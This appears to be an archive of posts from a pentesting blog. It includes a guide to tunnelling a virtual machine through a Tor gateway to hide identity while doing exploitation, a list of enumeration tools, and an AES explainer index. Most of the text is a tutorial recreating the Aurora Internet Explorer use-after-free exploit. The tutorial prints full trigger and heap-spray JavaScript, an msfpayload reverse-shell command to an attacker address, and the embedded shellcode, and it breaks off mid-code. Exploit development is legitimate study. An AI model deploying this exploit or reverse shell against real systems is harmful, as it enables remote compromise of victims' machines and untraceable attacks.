Archive for the ‘Security/Penetration testing’ Category

I am sick and tired of seeing people making threads about shitty VPN’s and how they are a good way to protect yourself when doing not so glamorous things online.

The bottom line is that is wrong. No matter how you look at it, a VPN is not safe to use when doing things related to exploitation.

The method entailed here is simple and should be relatively straight forward that uses a TOR (The Onion Router) gateway which we will tunnel all of your VirtualOS’s traffic through.

Prerequisites:
Virtual Box For Your System ( *Nix / Windows / OS X )
Whonix Gateway ( Sourceforge )
ISO of the Operating System of Choice i.e Windows 7 / Debian / Windows XP

Note: For my example in this guide I am going to give you an example of how to do it with a modified Windows 7 called Tiny7 (Google It). It is Windows 7 stripped down to the bare essentials so that it runs alot faster and alot smoother. The OS is strictly for using webapp epxloitation and not general browsing. I highly recommend you to use this. I will also be showing you how to use Kali Linux with this method.

How-To

The first thing you are going to want to do is acquire Virtual Box. Choose your appropriate system and save / open / run the installation following the steps given to you by the installer.

The next step you are going to take is to download the Whonix Gateway virtual box appliance I linked above. This is basically the gateway that will allow your virtual OS to run it’s traffic through TOR without leaking any data including your legitimate IP.

Navigate to the SourceForge link given and save the file to a location where you can easily access it later.

Note: The correct download is the second option entitled Whonix Gateway. Do not download Workstation as it is just another Linux OS which is tunneled through the gateway.

[Image: 0wovHrP.png]

Now you are going to have to retrieve the ISO of your OS of choice. You can do this either legally by supplying your own disks. Or finding a download online. Of course this only applies to Windows considering most Linux distros are open source and free.Once you have the ISO I suggest creating a folder where you will place the Whonix Gateway and your ISO image in one directory to make it easier.

The next step is to import the Whonix Gateway appliance within Virtual Box. To do this simply open Virtual Box and navigate to File > Import Appliance or Control + I on your keyboard. Now navigate to the directory of your whonix file and select the gateway and import it.

Once finished you are going to want to create your new VirtualOS to use with the TOR gateway. To do this navigate to the NEW button and type the name of your VirtualOS and select the correct operating system you are installing. Set the amount of Ram you wish to use for your OS.

Note: For Tiny7 I allocated 4GB because I have some to spare and it runs perfectly smooth without problems. For Kali I did 1GB and have had no problems.

Next set create the virtual hard drive using the VirtualBox Disk Image selection. I recommend creating a fixed size for moderate speed boost but dynamically allocated works fine as well. Continue through with the creation until it is complete.

Now we must edit some settings on the box to enable the gateway. It is imperative you follow my steps exactly.

Click once on your VirtualOS and choose settings.

From here navigate to System and choose the following settings:
[Image: 5zTIqiG.png]
[Image: N1RkXRd.png]

Next we are going to move on to Storage where you are going to select your ISO of choice:
[Image: hj065sC.png]

After this we move on to Network, where we will choose Internal Network and then select Whonix:
[Image: S00DcjK.png]

Following this move on to the last step of going to USB and UNCHECKING the Enable USB option:

 
[Image: Zz7k1ej.png]

Once finished click OK and launch your OS to install it. Once installed boot into your OS.

Now I will show you the final necessities to getting this to work within the OS itself.

For Windows 7 / XP Users:
The first step we are going to do once inside your new VirtualOS is to go to the search bar and search Network and Sharing Center. Once here you are going to click on the change adapter settings button:
[Image: o0nrzO8.png]
Once inside right click on the LAN connection and navigate to properties:
[Image: D6Uc8Ir.png]

From here we need to select IPv4 and then click Properties and insert the following values:

 
[Image: LSCK41q.png]

The numbers:

IP address Box > 192.168.0.50
Subnet netmask Box > 255.255.255.0
Default gateway Box > 192.168.0.10
Preferred DNS server Box > 192.168.0.10

Click okay and you are good to go!

For Linux users:

The first step is to open a Terminal and issue the following command:

sudo nano /etc/network/interfaces

From the editor we are going to copy and paste the following into our file:

auto lo
iface lo inet loopback

auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.0.12
netmask 255.255.255.0
#network 192.168.0.0
#broadcast 192.168.0.255
gateway 192.168.0.10

Once done Cntrl + X to save hit Y to confirm and then hit enter.

Now we need to do the nameservers so we once again go into Terminal and issue the following command:

sudo nano /etc/resolv.conf

Once into this editor if there is anything in there simply delete it all. Copy and paste the following into the file:

nameserver 192.168.0.10

Once done Cntrl + X to save hit Y to confirm and then hit enter.

Now reboot and you are successfully routing your entire VirtualOS through TOR!

TO ENABLE INTERNET IN THE VIRTUAL OS YOU MUST FIRST RUN THE WHONIX GATEWAY AND LEAVE IT OPEN, THEN RUN THE VIRTUAL OS:
[Image: HfuAwN1.png]

You can ensure you are by going to the following website:

http://check.torproject.org

I have it set as my homepage:
[Image: wxwXsns.png]

 

kthanksbai!

These are the lists of tools that has to be researched upon one by one, when you are serious at penetration testing. These tools have been hand-picked for using in a penetration tests. The list includes the enumeration section. Which by default means, you use these tools only for network enumeration and other information in passive information gathering, IDS testing and active information gathering, or maybe for just port scanning and enumerating your target before the actual exploitation. The first stage of any penetration tests begin with these tools, although there are things that need an explanation and a better approach to all these tools, the list has been provided here for th future people to come back here and need not re-invent the wheel with a confusion, with what tools to use for the enumeration phase. I recommend to research upon these tools so that enumeration becomes a piece of cake for anyone who is serious with his/her pentesting career. Also, I need not mention how worth information is while pentesting a target.
Regards,
h3athead.
List of enumeration tools and passive, active and port scanning tools. List of penetration testing tools:
1.) tee
2.) Nmap
3.) rpcinfo
4.) awk
5.) netenum
6.) unicornscan
7.) scanrand
8.) nc (netcat)
9.) p0f
10.) xprobe2
11.) httprint
12.) ike-scan
13.) Amap
12.) smbgetserverinfo
13.) smbdumpusers
14.) nbtscan
15.) nat (smb-nat)
16.) dig
17.) iptables
18.) hping3
these are the only tools for now, if someone is interested, he/she may post about these tools, here in the same section (the research section), so that it goes in a systematic way, or I shall post these anyhow, at a later time.

Ah, I post this post here to keep apart Ankit fadia look like a dog, you wanted to be a hacker? here is it, if you really went through all that is there, and actually UNDERSTOOD it, it’s all yours, h4x0ring is all yours.

 

 Once Upon a Time…

introsadaes act 1 scene 03 cinderellaaes act 1 scene 04 startedaes act 1 scene 05 judgeaes act 1 scene 06 nbs decreeaes act 1 scene 07 luciferaes act 1 scene 08 anoint desaes act 1 scene 09 des ruledaes act 1 scene 10 des defeatedaes act 1 scene 11 triple desaes act 1 scene 12 nist decreeaes act 1 scene 13 ralliedaes act 1 scene 14 rijndaelaes act 1 scene 15 voteaes act 1 scene 16 wonaes act 1 scene 17 intelaes act 1 scene 18 crypto question

Act 2: Crypto Basics

aes act 2 scene 01 three big ideasaes act 2 scene 02 confusionaes act 2 scene 03 diffusionaes act 2 scene 04 key secrecyaes act 2 scene 05 aes details question

Act 3: Details

aes act 3 scene 01 sign thisaes act 3 scene 02 agreementaes act 3 scene 03 state matrixaes act 3 scene 04 initial roundaes act 3 scene 05 xor tributeaes act 3 scene 06 key expansion part 1aes act 3 scene 07 key expansion part 2aaes act 3 scene 08 key expansion part 2baes act 3 scene 09 key expansion part 3aes act 3 scene 10 intermediate round startaes act 3 scene 11 substitute bytesaes act 3 scene 12 shift rowsaes act 3 scene 13 mix columnsaes act 3 scene 14 add round keyaes act 3 scene 15 final roundaes act 3 scene 16 more rounds the merrieraes act 3 scene 17 tradeoffsaes act 3 scene 18 security marginaes act 3 scene 19 in picturesaes act 3 scene 20 decryptingaes act 3 scene 21 modesaes act 3 scene 22 questions what really happensaes act 3 scene 23 math

Act 4: Math!

aes act 4 scene 01 algebra classaes act 4 scene 02 reviewing the basicsaes act 4 scene 03 algebra coefficientsaes act 4 scene 04 remember multiplication growthaes act 4 scene 05 cant go biggeraes act 4 scene 06 clock mathaes act 4 scene 07 clock math polynomialsaes act 4 scene 08 divide by mxaes act 4 scene 09 logarithmsaes act 4 scene 10 using logarithmsaes act 4 scene 11 polynomial as byteaes act 4 scene 12 byte operationsaes act 4 scene 13 byte inversesaes act 4 scene 14 sbox mathaes act 4 scene 15 round constantsaes act 4 scene 16 mix columns mathaes act 4 scene 17 crib sheetaes act 4 scene 18 got it nowaes act 4 scene 19 so much moreaes act 4 scene 20 gotta goaes act 4 scene 21 the end

This is H3athead. Today I will explain about heap spraying [exploitation] on IE, via the aurora vulnerability. This will be vast, so keep patience till the last.

In this entry, we will be reproducing the “aurora” Internet Explorer exploit using heap spraying.  This exploit takes advantage of a use after free vulnerability that is present in multiple versions of Internet Explorer on multiple versions of Windows.  Unlike those discussed in my previous tutorials, this vulnerability does not involve a buffer overflow, and instead makes use of heap corruption that occurs when an object’s memory space on the heap is accessed after being first freed and then overwritten.  Despite the fact that this exploit is not a traditional buffer overflow, the techniques used are similar enough for me to include this tutorial in this series.

This vulnerability was originally discovered in the wild, and was used as part of the well publicized attack on Google that was (allegedly) performed by the Chinese.  A patch is now available from Microsoft for this vulnerability and you can see their advisory on the issue here.

This is also the first time I have demonstrated a client side exploit in one of my tutorials – all previous tutorials have involved attacks on servers.  While server exploits used to be all the rage, over the last 6 years or so client side attacks have become more and more prevalent as server based protection has gotten better and better.  The benefit of the client side exploit is that it allows the attacker to focus their efforts on a system which is usually less well protected than a server and which (in an Enterprise environment) usually has full unrestricted access to other internal systems, including servers.

Triggering the client side exploit usually involves the attacker enticing the user of the victim client system into visiting a malicious web site or opening a malicious document.  This can be achieved by including a link or an attachment in an email, or hacking legitimate sites and adding code to redirect traffic to the malicious web page.  When used in the wild, the client side exploit will usually contain a payload which is configured to download a piece of malware from the Internet and run it on the client system.

In this tutorial I will be hosting the malicious files on a web server running on my attacking system and I will access my malicious web site from my victim system.

My particular version of the exploit that I reproduce below is based on the original exploit from the wild as well as the code produced by the Metasploit module.

Note: For a number of reasons, the exploit for this vulnerability can be a little unreliable, both in terms of reproducing the crash and taking control of the crash using heap spraying.  This is due to the difficulty of structuring the heap correctly so that the conditions for the exploit to work are in place.  So if things don’t work the first time, repeat what you have done once or twice more before double checking to see if you have made a mistake in your code.  My experience with this exploit is that it does work more often than it doesn’t, but it definitely does not work all of the time.

Warning! Please note that this tutorial is intended for educational purposes only, and you should NOT use the skills you gain here to attack any system for which you don’t have permission to access. It’s illegal in most jurisdictions to access a computer system without authorisation, and if you do it and get caught (which is likely) you deserve whatever you have coming to you. Don’t say you haven’t been warned.

EDIT: For those who like videos with their tutorials, Lincoln produced a video based on this blog post which you can find here.

Required Knowledge

To follow this tutorial you will need to have basic knowledge of:

  • TCP/IP networking,
  • management of the Windows Operating System (including installing software, running and restarting services, connecting to remote desktop sessions, etc), and
  • HTML and JavaScript.

You need to have good enough knowledge of the attacking system you use (whether it be BackTrack, another type of Linux, Windows or anything else) to be able to run programs and scripts as well as transfer files.

Knowledge of basic debugger usage with OllyDbg, including the ability to start and attach to programs, insert breakpoints, step through code, etc, is expected. This is covered in my first tutorial.

While you should be able to get by with only basic knowledge of how to read HTML and Javascript, some programming experience in these languages would be a bonus.

System Setup

In order to reproduce this exploit for the tutorial, I used a victim system running Windows XP SP2, and a attacking system running BackTrack 4 Final.

You don’t need to reproduce my setup exactly, but I would suggest sticking to Windows XP SP2 or earlier for the victim system, especially for this particular exploit. The attacking system can be anything you feel comfortable in, as long as it can run the software I have specified below, and as long as you are able to translate the Linux commands I will be listing below into something appropriate for your chosen system.

If required, you can get a XP SP2 Virtual Machine to use as your victim by following the instructions in the Metasploit Unleashed course, starting in the section “02 Required Materials” – “Windows XP SP2” up to the section entitled “XP SP2 Post Install”.

Your victim system must also use a X86 based processor.

In this tutorial my attacking and victim systems use the following IP Addresses. You will need to substitute the addresses of your own systems where ever these addresses appear in the code or commands listed below.

  • Attacker system: 192.168.20.11
  • Victim system: 192.168.10.27

The two systems are networked together and I have interactive GUI access to the desktop of the victim system via a remote desktop session. You will need to be able to easily and quickly switch between controlling your attacking system and the victim system when following this tutorial, so make sure you have things set up appropriately before you proceed.

Required Software on Attacking and Victim Systems

Your attacker and victim systems will need the following software installed in order to follow this tutorial. By using BackTrack 4 Final for your attacking system you will take care of all of the attacking system prerequisitites.

The attacking system requires the following software:

  • Metasploit 3.x
  • Text Editor
  • Netcat

The victim system requires the following software:

  • Internet Explorer 6.  I am using the default unpatched version that is provided in XP SP2.
  • OllyDbg 1.10

Ensure that all required software is installed and operational before you proceed with this tutorial.

Triggering the Exploitable Crash

As mentioned in the Introduction, this exploit takes advantage of a user after free vulnerability in Internet Explorer.  The code required to actually cause the exploitable crash is a little more complicated than that included in some of the previous tutorials I have written, so I have provided below a summary description of what the code does, and have also listed a number of comments in the code below.

Heres the code:

 <html>
<script>

// Create ~ 200 comments using the randomly selected three character string AAA, will change data later in an attempt to overwrite
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement(“COMMENT”);
Array1[i].data = “AAA”;
}

var Element1 = null;

// Function is called by the onload event of the IMG tag below
// Creates and deletes object, calls the function to overwrite memory
function FRemove(Value1)
{
Element1 = document.createEventObject(Value1); // Create the object of the IMG tag
document.getElementById(“SpanID”).innerHTML = “”; // Set parent object to null to trigger heap free()
window.setInterval(FOverwrite, 50); // Call the overwrite function every 50 ms
}

// Function attempts to overwrite heap memory of deleted object and then access object to trigger crash
function FOverwrite()
{
buffer = “\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA”;
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer; // Set comment data to buffer, try to overwrite heap memory of deleted object
}
var a = Element1.srcElement; // Access the pointer to the deleted object, trigger crash
}

</script>

<body>
<span id=”SpanID”><IMG src=”/abcd.gif” onload=”FRemove(event)” /></span></body></html>
</body>
</html>

And here is an explanation of what the code does.

The HTML document above contains some basic HTML code, as well as a JavaScript script, with some main code and a couple of functions.

When the document is loaded in a browser the script will run first and will create a number of COMMENT elements in the document, all set to the value “AAA” (this can set set to another random three character string if you wish).  These values are all stored on the heap.  The rest of the script contains functions which will be run individually a bit later on during the loading of this page in the browser.

The HTML code at the bottom of the document is parsed next, and a HTML span object that includes a child IMG tag is created.  The IMG tag retrieves an image from the web server (/abcd.gif in this case) and when it loads in the browser the FRemove function is called, with a reference to the IMG tag passed as a parameter.

The FRemove function creates the Element1 object using the IMG tag as a parameter, deletes the parent SpanID object, and calls the FOverwrite function, which it will rerun every 50ms.  This is the “free” part of the use after free vulnerability, we have freed the heap memory owned by the Element1 object when we set the SpanID object to a null value.

The FOverwrite function then changes the data of the COMMENT elements created earlier, in an attempt to overwrite the heap memory location associated with the Element1 object.  After all of the 200 COMMENT values are changed, we try to access the Element1 object by assigning a property of the object to the “a” variable, and if the heap memory of this object has been correctly overwritten, we should now get an exception.  This is the “use” part of the use after free vulnerability.

To run this on my victim system, I am writing the code above into a HTML file aurora.html, copying that file to my web server’s root directory and starting my web server.  Don’t forget that the image file abcd.gif must also exist in the /var/www/ web server directory for this exploit to work.

root@shritam:~# cp aurora.html /var/www/
root@shritam:~# /etc/init.d/apache2 start

I then open Internet Explorer, attach to it in my debugger and access the file from my attacking system at 192.168.20.11.

After a short wait we should have an exception triggered in our debugger.

The exception we should see is an access violation trying to read AAAAAAAA, which is the value that should be stored in the ECX register.  (If this doesn’t happen for you take note of what I said about the unreliability of this exploit in the Introduction..)

Details about the exception

So what precisely is happening at the time of this exception?  If we look at the instructions being executed by the CPU at the time of the crash inside the mshtml module, we see the following:

7D4F2531   8B01             MOV EAX,DWORD PTR DS:[ECX]
7D4F2533   FF50 34          CALL DWORD PTR DS:[EAX+34]

 

The first instruction, MOV EAX,DWORD PTR DS:[ECX] is attempting to move a DWORD sized section of memory, located at the address pointed to by the ECX register, into the EAX register.  In other words, the system is taking the value of ECX, which is AAAAAAAA, and trying to read 4 bytes of memory from this memory address to copy to register EAX.  Since AAAAAAAA is not a valid address in memory, we get an access violation trying to read this address, and the program stops in the debugger.  If the register ECX did contain a valid memory address, such as 0013E174, then four bytes of data stored at this memory address would be used to set the value of EAX.

So if we set the value of ECX to a valid memory address, we could control the value of EAX, but what good does setting the value of EAX do exactly?  Well, if you look at the next instruction, it is attempting to CALL a function located at the memory location pointed to by the EAX register plus 0x34.  So if we can set EAX such that the value of EAX plus 0x34 points to a location of memory that we control, and this area contains some shellcode we have provided, then we have the ability to execute code of our choice.

This may seem like a lot to ask at first.  We need to:

  • Copy our shellcode into memory,
  • Know the starting address of the shellcode so we can copy it to memory somewhere.  This is the address that is accessed by the pointer to EAX + 0x34.
  • Know the address that the previous address is stored in memory, so we can subtract 0x34 from it and then store that in memory.  This is the address that ends up in EAX, accessed by a pointer from ECX.
  • Know the address that the previous address is stored in memory, so we can send it in our free-heap-entry-overwriting buffer to overwrite ECX.

That’s three addresses in memory that we need to know, and while we might be able to find known locations in memory where the pointer addresses are already stored, similar to the way in which we found overwrite instructions in memory in the other tutorials, determining a reliable location in memory for our shellcode could be difficult.

This is where heap spraying comes in.

Heap Spraying

As the name suggests, heap spraying essentially involves “spraying” the heap with a large amount of data, including some tacked on shellcode.  The eventual aim of placing all of this data onto the heap is to create the right conditions in memory to allow the shellcode to be executed when an exploitable crash is triggered in a process.

The technique of heap spraying has been around for a number of years and was initially only used in browser exploits.  Recently however, use of the technique has branched out into other areas, being used in PDF and Flash based exploits.

Heap spraying is usually chosen when other more straightforward and effective exploitation techniques cannot be used.  This is because the method can be unreliable, and the amount of data that is generated in the memory of the target application can cause a noticable slowdown, which is significiant because the technique is usually used in client applications which could be closed by a user if they believe the application has stopped responding.

Heap spraying is usable in any situation where the attacker can cause the victim process to allocate large blocks of data onto the heap.  It is typically achieved via the use of scripting languages integrated in the vulnerable program.  This allows the attacker to send code to the victim that generates the appropriate data on the heap, relieving the attacker of the burden of having to manually send the data to the client in another way.  Considering the amount of data that is required in heap spraying (easily into multiple megabytes), using victim-side code to generate the data is often the only practical way to achieve this goal.  Heap spraying code is usually writen in Javascript (where it can run in Internet Explorer, Firefox, Acrobat Reader, etc) but has also been seen in ActionScript (Flash) and VBScript (Internet Explorer).

The particular data that is used to spray the heap depends on the vulnerability being exploited.  For this exploit, we will be spraying the heap with the value \x0C0D, and we will also modify our buffer that fills the free section of heap memory to also use this value.  This will result in ECX being overwritten with 0C0D0C0D.  I will explain the signficance of this value in a moment, however lets first look at the heap spraying code we will use.

The heap spray code below is slightly modified from the Metasploit code for this vulnerability.  It essentially creates strings of around 870400 bytes in length, comprised of the characters “0c0d” with the shellcode we have provided appended to the end.  An array in memory is then filled with around 100 of these strings.  This generates around 83 MB of data on the heap.

function HeapSpray()
{
Array2 = new Array();
var Shellcode = unescape( ‘%ucccc%ucccc’);
var SprayValue = unescape(‘%u0c0d’);
do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

I have included some shellcode of \xcc\xcc\xcc\xcc.  This is essentially just four breakpoint values so execution will pause in the debugger once the shellcode is hit.  This will allow us to see what is happening inside the browser process at the time of shellcode execution, so we can see what we have achieved by the heap spray.

I arrived at the values in my heap spray code (870400 and 100) via trial and error after seeking to find a balance between the reliability of the exploit and the amount of data generated on the heap.  Make the values too large and the page will take too long to load and you risk the user killing the browser process thinking it has stopped responding.  Make the values too small and you won’t achieve the correct memory coverage on the heap and the exploit will fail.  Feel free to try increasing and decreasing these values to see how it impacts the reliability of the exploit.

When using a heap spray method, we also want to be sure that we include the heap spray code into our exploit before the code that triggers the use after free exception, so that the heap will be ready when the exception occurs.

Lets now add this to our exploit.  Make sure you include the call to HeapSpray in the FRemove() function.  See the example code below.

<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement(“COMMENT”);
Array1[i].data = “AAA”;
}

var Element1 = null;

function HeapSpray()
{
Array2 = new Array();
var Shellcode = unescape( ‘%ucccc%ucccc’);
var SprayValue = unescape(‘%u0c0d’);
do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
HeapSpray();
Element1 = document.createEventObject(Value1);
document.getElementById(“SpanID”).innerHTML = “”;
window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
buffer = “\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d”;
for (i = 0; i < Array1.length; i++)
{
Array1[i].data = buffer;
}
var t = Element1.srcElement;
}

</script>

<body>
<span id=”SpanID”><IMG src=”/abcd.gif” onload=”FRemove(event)” /></span></body></html>
</body>
</html>

Now lets open this page into Internet Explorer with our debugger attached, and see what happens.

My debugger pauses execution at the second of the breakpoint characters I sent in my shellcode.

If this doesnt happen for you, try, try again!  If its still not happening after the third or fourth attempt, try increasing the array loop value upwards from 100.
The Heap Spray in Action

So we reached our shellcode and have control of code execution, but how did this work?

Well, lets go back and look at the two commands that were being executed in module mshtml at the time of our initial crash.

7D4F2531   8B01             MOV EAX,DWORD PTR DS:[ECX]
7D4F2533   FF50 34          CALL DWORD PTR DS:[EAX+34]

The first command MOV EAX,DWORD PTR DS:[ECX] sets EAX from a DWORD sized block of memory located at an address pointed to by the ECX register.
If we check our ECX register in the debugger, it is set to 0C0D0C0D.

This part should not come as too much of a surprise to you, we sent this value to the program via the buffer variable in the FOverflow function.

Now if we follow the ECX register into our memory dump (Right click on register, select Follow in Dump) and check the four byte value we see in this location, it should be 0C0D0C0D, and it should be sitting within a large section of memory with the same repeating value.  This particular value, 0C0D0C0D, should have been used to set our EAX register, which should have resulted in EAX having a value of 0D0C0D0C (because the little endian x86 processor changes the order of the bytes putting the least significant byte first).

If we now check the value of EAX in our debugger, we see it is set to 0D0C0DCD.

This is not the value we expected, so it seems as though something has happened to this value since it was set.  It is fairly close to what it should be though, and we did reach our shellcode, so let’s assume for the moment that the value of EAX has been set from our heap sprayed data.  We will examine exactly what happened to the EAX register a little later.

The next command from mshtml from the period of the crash is CALL DWORD PTR DS:[EAX+34].  To examine what this will do, lets take the value that EAX should have been set to 0D0C0DCD, add 0x34 to give us 0D0C0D40 and then scroll to this location in the memory dump.

The contents of memory at this offset is 0D0C0D0C.  The CALL instruction would have set EIP to 0C0D0C0D (little endian ordering again) and the data stored in memory at this location would have been interpreted as code and run in the CPU.  So our heap spray has also enabled us to take control of EIP and code execution.

Given that the starting address of EIP should have been 0C0D0C0D, how come our current value of EIP is 0C2C0026?

Obviously something has happened between this CALL command which should have redirected execution to 0C0D0C0D and us hitting the breakpoint at the start of our shellcode at 0C2C0026.  We can check what this is by selecting the four bytes of memory located at 0D0C0D40 in the memory dump, right clicking and selecting Follow DWORD in Dump.

This will take us to 0C0D0C0D in the memory dump, and we can then view the contents of memory as assembly instructions by right clicking and selecting Disassemble. (To get it back to the previous default view select Hex->Hex/ASCII(8 bytes)).

You can also view these instruction in the CPU pane, by right clicking in the CPU pane, selecting Go to->Expression and entering the address 0C0D0C0D followed by hitting OK.

You should now be seeing a large number of OR AL, 0D instructions.

This command performs a OR operation on the AL register (which is the lower byte of the AX register, which itself is the lower two bytes of the EAX register) using the value 0x0D.  Given a value for EAX of 0D0C0D0C, this will perform an OR operation on the lower byte (0C), which will have the effect of setting the value of the last byte of EAX to 0D, and the value of EAX to 0D0C0D0D.  Subsequent repetitions of this command will leave the value of EAX unchanged at 0D0C0D0D.  But why was EAX set to 0D0C0DCD when we hit the start of our shellcode?

Well if you view the start of our shellcode in the CPU pane (double click on the EIP register to jump there), and check above the first INT3 instruction you will see a single OR AL,0CC instruction, sitting below a long section of OR AL,0D commands.

The hexadecimal representation of this assembly instruction is \x0C \xCC, so in this case the first of the CC breakpoint characters we set in our shellcode has actually been joined to one of the 0C characters from our heap spray pattern and interpreted as a command by the CPU.  This final command is what transformed the value of EAX to 0D0C0DCD.  This joining together of heap spray data and shellcode leading characters is behaviour we need to be aware of so we can work around it when we finally add our payload providing shellcode.

The important point to realise here is that the instruction OR AL, 0D essentially acts as a NOP like instruction, allowing us to use a large number of these instructions as a NOP sled.  We can land execution of the CPU anywhere within this NOP Sled, and it will happily cycle through each instruction, not doing anything that causes a crash or significantly changes the state of CPU execution, until we eventually land at our shellcode at the end of the sled.

The OR AL, 0D instruction resulted from 0C being used as the first byte in this instruction (the assembly interpretation of \x0C0D is OR AL, 0D).  This particular interpretation of the data from our heap spray occurred because the CALL DWORD PTR DS:[EAX+34] instruction from msthtml resulted in us landing on a 0C character first.  If we had happened to load on a 0D character first instead, we would have ended up with the assembly command OR EAX,0D0C0D0C.  As it turns out, this will work equally well as a NOP like instruction, because it only performs operations on the value of EAX.

So as it turns out, the value of 0C0D has a number of characteristics that make it perfect for this particular heap spray exploitation technique:

  • The addresses that can be made up of repeating 0C0D characters (0C0D0C0D and 0D0C0D0C) reside on the heap.  In addition, if we fill the memory around those addresses with these same characters, the machine code run at the time of the use-after-free error will eventually redirect CPU execution to this general area in memory.
  • The machine language instructions that are comprised of repeating 0C0D characters (“OR AL, 0D” and “OR EAX,0D0C0D0C”) can act as NOP equivalent instructions to form a NOP sled.  This allows us to land within this general area on the heap and run through to our shellcode.

Our goal when we perform this heap spraying then, is to fill the area on the heap between the addresses of 0C0D0C0D and 0D0C0D40 (0D0C0D0C + 0x34) with repeating 0C0D bytes, so we can gain control of execution.  The difficulty of assuring that the heap memory gets allocated in this manner is part of what makes this exploitation method a little unreliable.

Adding Shellcode

Now that we know we can redirect execution to the location of our shellcode in memory, we can add some proper shellcode to our exploit.

Lets generate some reverse shell shellcode in Metasploit and output it in JavaScript format (J).

user@bt:~$ msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J
// windows/shell_reverse_tcp – 314 bytes
// http://www.metasploit.com
// LHOST=192.168.20.11, LPORT=443, ReverseConnectRetries=5,
// EXITFUNC=process
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f
%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10
%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49
%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275
%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b
%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854
%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050
%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6
%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659
%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656
%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0
%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300
%ud5ff

I am also going to throw 4 NOP characters onto the front of my shellcode.  This is to deal with the issue where the first character of the shellcode is subsumed into a machine code instruction with the last of the heap spray charaters (remember the OR AL, CC instruction?).  One NOP would really be enough, but using multiple NOPs here will also deal with any cases where the CALL instruction ends up landing on an 0D value, in which case the CPU will interpret the 0D0D bytes as OR EAX instructions. This would result in up to three of the characters from our shellcode being subsumed into an instruction with our heap spray characters (e.g. the data \x0D\x0C\x90\x90\x90 will result in the instruction OR EAX,9090900C).

Here is the finished code:

<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
Array1[i] = document.createElement(“COMMENT”);
Array1[i].data = “AAA”;
}

var Element1 = null;

function HeapSpray()
{
Array2 = new Array();
// msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J
var Shellcode = unescape( ‘%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff’);
var SprayValue = unescape(‘%u0c0d’);
do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
